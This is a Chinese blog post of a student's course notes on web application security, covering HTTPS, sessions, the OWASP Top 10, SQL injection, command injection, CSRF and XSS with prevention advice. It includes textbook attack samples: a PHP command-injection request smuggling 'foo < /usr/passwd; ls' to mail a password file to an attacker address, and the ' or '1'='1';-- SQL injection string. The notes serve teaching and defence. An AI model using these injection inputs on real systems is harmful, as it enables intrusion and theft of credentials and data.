Shinkai005

V1

2023/03/04阅读:13主题:极简黑

【CSF】网安基础-第八节课-web应用安全

【CSF】网安基础-第八节课-web应用安全.md

image-20230228115252035
image-20230228115252035

web应用

web应用

  • 存储在远程服务器上并通过浏览器界面在互联网上传输的应用程序。
  • 互动的

网页

  • 可以在网络浏览器中显示的文件,如Firefox、Google Chrome、Microsoft Edge或Apple Safari。

HTTP协议

  • HTTP是允许我们的浏览器和应用程序接收诸如HTML("超文本标记语言")、CSS("层叠样式表")、图像和视频等内容的载体协议。

FTP:

  • 一个标准的通信协议,用于将 计算机文件从服务器传输到计算机上的客户端。
  • 不对其流量进行加密;所有的传输都是明文的。所有的传输都是明文,用户名、密码、命令和数据都可以被能够进行数据包捕获的人读取。可以被任何能够在网络上进行数据包捕获的人读到。

一个安全协议

HTTPS:HTTP的一个扩展。它使用加密技术在计算机网络上进行安全通信。

  • HTTP协议不支持对传输中的数据进行加密,因此在HTTP周围添加了一个封装器以支持加密。这在HTTP后面用一个S表示,即HTTPS。

  • 加密曾经是SSL("安全套接字层"),但后来被弃用。取而代之的是TLS("传输层安全"),通常用于执行加密。

  • 如果使用HTTP,今天所有主要的网络浏览器都会在URL地址栏中显示一个锁的图标。

  • 如果TLS/SSL连接被破坏,将显示一个警告

URLs, Query Parameters and Scheme

  • 访问web应用我们使用URLs
  • e.g., https://moodle.gla.ac.uk/course/view.php?id=343 – https://moodle.gla.ac.uk/course/view.php?id=343&n otifyeditingon=1

url scheme 統一資源標誌符方案 这个翻译不绝对的..问了一些大佬.

上面写的是维基百科的翻译.

https 是scheme 描述了他会用HTTPS进行传输. 通常是对应的,但是偶尔也会有区别.

  1. 浏览器自定义的scheme, file和 tel, 这个时候就会用自定义的协议去执行
  2. 有的时候web应用会更改http的数据格式和内容,所以也不同于标准的.

file 是浏览本地文件

tel 是拨打电话

image-20230228131241649
image-20230228131241649

Session指的是在Web应用程序中存储用户信息的一种机制。

它通常是在服务器端保存一个与每个用户对应的Session对象,用于存储用户的相关信息,例如登录状态、购物车内容等。

每个Session对象都有一个唯一的Session ID,用于标识和区分不同的用户。

当用户在浏览器中访问Web应用程序时,Web应用程序会检查用户的Session ID,并从服务器中获取对应的Session对象。

通过Session机制,Web应用程序可以存储和管理用户的状态和数据,实现个性化和定制化的服务

每个session cookie 包含一个随机key, 用来索引到服务端的session缓存

web应用常见攻击

image-20230228132739123
image-20230228132739123
  1. 注入攻击(Injection):注入攻击是指攻击者向Web应用程序发送恶意的代码(如SQL命令、操作系统命令等),以获得对数据库或操作系统的未经授权的访问权限。
  2. 破解身份验证(Broken Authentication):这种攻击利用开发人员编写的弱身份验证方案,如使用弱密码或不正确的会话管理技术,从而允许攻击者以其他用户的身份登录到应用程序中。
  3. 敏感数据泄露(Sensitive Data Exposure):这种攻击是指未对存储在Web应用程序中的敏感数据进行适当的加密,从而导致攻击者窃取敏感信息,如信用卡号、密码等。
  4. 外部实体(External Entity):这种攻击利用Web应用程序处理未经验证的XML输入数据时的安全漏洞,攻击者可利用这些漏洞来窃取数据、执行恶意代码等。
  5. 破坏性访问(Broken Access Control):这种攻击指的是Web应用程序未对用户访问应用程序的权限进行适当的限制,从而使攻击者可以窃取、修改、删除或者创建数据,或者是通过攻击Web应用程序获得未经授权的功能访问权限。
  6. 安全配置错误(Security Misconfiguration):这种攻击是指开发人员或管理员配置Web应用程序时出现的错误或不安全的设置,从而导致应用程序存在漏洞或攻击面更大。
  7. 跨站脚本(Cross-Site Scripting,XSS):这种攻击利用Web应用程序中未对用户提供的输入进行适当的过滤和转义,以执行恶意的脚本或窃取用户的会话cookie等。
  8. 不安全的反序列化(Insecure Deserialization):这种攻击利用Web应用程序中的反序列化功能,从而允许攻击者执行未经授权的代码或窃取敏感数据。
  9. 使用含有已知漏洞的组件(Using Components with Known Vulnerabilities):这种攻击指的是Web应用程序使用了已经存在安全漏洞的组件,从而导致攻击者可以利用这些漏洞入侵Web应用程序。
  10. 不足的日志记录和监控(Insufficient Logging & Monitoring):这种攻击是指Web应用程序没有适当的日志记录和监控机制,从而使攻击者可以在不被发现的情况下,对Web应用程序执行恶意操作。攻击者可能会利用这些漏洞来窃取敏感数据、修改网站内容、执行代码等。

这里拿出来几个解释可能不够好的地方

  1. 外部实体攻击 EEI攻击, 将外部文件解析成代码然后执行, 这个代码里面会有一些权限等违规操作. // 所以需要对引用的外部实体进行安全检查

外部实体攻击和跨站脚本区别: 外部实体主要是为了获取操作权限,读取写入执行服务器文件的权限. 跨站脚本主要是执行一些js代码,达到破坏目的

  1. 序列化就是将数据变比特流, 反序列化就是将比特流变数据, 这个时候如果将反序列化的数据(恢复后的样子)变成一个恶意函数, 就可以触发恶意行为了. // 所以要对反序列化进行过滤

三个主要的网络应用程序漏洞

SQL注入

  • 浏览器向服务器发送恶意的输入
  • 错误的输入检查导致了恶意的SQL查询

sql代码

CSRF-跨站请求伪造

  • 坏网站向好网站发送浏览器请求。使用无辜受害者的凭证,向好的网站发送浏览器请求

利用用户在受害者服务器上的会话

XSS-跨站脚本攻击

  • 坏网站向无辜的受害者发送脚本,从一个诚实的网站上窃取信息

将恶意脚本注入到受信任的环境中

sql注入

image-20230228140944916
image-20230228140944916

第一步. 骇客识别威胁, sql驱动的站点, 注入恶意sql查询通过input框.

第二步. 恶意sql查询生效, 命令被数据库执行

第三步. 骇客就被授予权限去看和改动记录, 或者可能行使数据库管理员权利

命令注入

攻击目标: 执行任意代码在服务器上php上就是system()函数执行的

例子:

$email = $_POST[“email”] // 这里获取用户表单的email字段
$subject = $_POST[“subject”] // 这里是subject字段, 一般是主题. 
system(“mail $email –s $subject < /tmp/joinmynetwork”) 

传送的攻击代码

http://yourdomain.com/mail.php?
email=hacker@hackerhome.net &
subject=foo < /usr/passwd; ls

获取的代码

$email = "hacker@hackerhome.net ";
$subject = "foo < /usr/passwd; ls";
system("mail $email -s "$subject" < /tmp/joinmynetwork");

解释一下代码:

系统会发送给骇客的邮箱发个邮件, 用户密码和当前目录的所有文件

主要原因是没对用户输入进行过滤

PHP

超文本预处理器 PHP是一种广泛使用的、开放源码的脚本语言。PHP脚本在服务器上执行。

  • 与HTML不同
  • PHP是一种脚本语言 | HTML是一种标记语言。
  • PHP代码在服务器上执行,而HTML代码则由客户端浏览器解析。
  • PHP创建动态网页 | HTML创建静态网页。
  • PHP可以访问数据库 | 不能用HTML访问数据库

使用php进行数据库查询

$recipient = $_POST[‘recipient’];
$sql = "SELECT PersonID FROM Person WHERE Username='$recipient'";
$rs= $db->executeQuery($sql); 

问题

如果'收件人'是恶意的字符串,改变了查询的含义怎么办?

举个例子

SELECT PersonID FROM Person WHERE Username='' or '1'='1';--'

这里就不再返回指定用户的ID,而是所有的用户, 而且每次必然成功, 因为1=1, 后面的-- 表示注释, 注释之后的sql语句.也就无法生成了

所以一般都是参数查询, 或预处理语句查询. 这是因为不限制用户输入是非常危险的行为

.....这里老师的例子和我例子一样...讲sql注入都用这个是吧 笑死

CardSystem Attack卡系统攻击

卡系统

  • 信用卡支付处理公司
  • 2005年6月受到SQL注入攻击
  • 被勒令停业

攻击事件

  • 263,000个信用卡号码从数据库被盗
  • 信用卡号码未被加密存储
  • 4300万个信用卡号码被暴露

避免sql注入

千万不要自己建立SQL命令!

  • 使用参数化/预制的SQL

  • 使用(对象关系映射)ORM框架

  • 在应用程序代码和数据库之间提供一个抽象层

  • 允许开发人员使用高级面向对象的代码与数据库互动,而不是使用原始SQL查询

参数化和预编译的sql指的是, 用参数来替代内容.但感觉还是不安全...毕竟参数值用户可能能改. 但是相对来说受到限制更大,出问题可能性更小一些.

Cross Site Request Forgery跨站请求伪造

跨站请求伪造(也被称为XSRF或CSRF)是一种针对网络托管应用程序的攻击

  • 网络浏览器在每次请求网站时自动发送某些类型的认证令牌tokens。
  • 也被称为一键式攻击或会话骑乘,因为该攻击利用了用户先前的认证会话。

Recall Session use cookies

image-20230303215649340
image-20230303215649340

想想一个这样的过程

  1. A请求了网址a使用了合法凭证
  2. 服务器认证A返回一个response 包括一个已认证的cookie
  3. 用户浏览另一个网址b, (url很像但是并不是), 这里打开网站和之前网址a一模一样.
  4. 骇客就可以使用一个伪造的请求合法连接到银行等.
  5. 服务器认证之前的cookie, 继续执行伪造的请求.//付款等

因为使用了之前的cookie,也叫做会话骑乘or一键式攻击

HTML例子

image-20230303221004316
image-20230303221004316

注意这里, CSRF的一个点在于, 表单提交到的不是恶意网站而是受攻击的网站. 这是csrf的一部分.

这里一定要理清一个点, 这个表单是在攻击者网站上发送的, 发送给之前用户登录过的网站. 也就是这次CSRF中受攻击的网站.

预防CSRF

  • 不点击恶意链接

  • 能够识别恶意链接

  • 特别是http网址

  • 使用HTTPS更安全

使用CSRF会话令牌

  • 每个用户会话的令牌需要是唯一的; 并且应该是大的随机值,以使其难以猜测。

Cross Site Scripting (XSS)跨站脚本攻击

当攻击者可以将脚本代码注入由网络应用程序生成的页面时,就会出现XSS漏洞

三种威胁区别

sql注入: 恶意代码执行在受害者服务器

csrf: 攻击者伪造请求, 从受害者浏览器发送到受害者服务器

xss攻击: 恶意代码执行在受害者浏览器.

场景

  1. 攻击者发送注入恶意代码的脚本给受害者
  2. 受害者点击, 发送请求给合法网址
  3. 受害者的浏览器加载合法站点,同时执行恶意代码
  4. 发送一些敏感信息给攻击者

两种不同的xss

Reflected XSS("type 1")

  • 攻击者的脚本作为受害者网站页面的一部分被 反射回给用户
image-20230303222132852
image-20230303222132852

Stored XSS (“type 2”)

  • 攻击者能够将恶意代码注入永久存储在服务器上的网络应用程序,如数据库中。然后,这段代码被提供给浏览受影响页面的用户。
image-20230303222102421
image-20230303222102421

唯一的区别是, 如何注入这个恶意代码. 用户接受就是reflect, 服务端接受就是store

预防xss

  • 基于代理proxy:通过扫描特殊的HTML字符,分析用户的网络浏览器和目标网络服务器之间交换的HTTP流量,并在用户的网络浏览器上执行页面之前对这些字符进行编码。

  • 应用层面的防火墙Application level firewal:分析浏览的HTML页面是否有可能导致敏感信息泄漏的超链接

  • 审计系统Auditing system:监控JavaScript代码的执行,并将操作与高层策略进行比较,以检测恶意行为。

参考

https://owasp.org/Top10/A06_2021-Vulnerable_and_Outdated_Components/ A06:2021 – 易受攻击和过时的组件

Andrew Hoffman, Web Application Security, O’Reilly, 2020

- END -

分类:

后端

标签:

后端

作者介绍

Shinkai005
V1

公众号:深海笔记Shinkai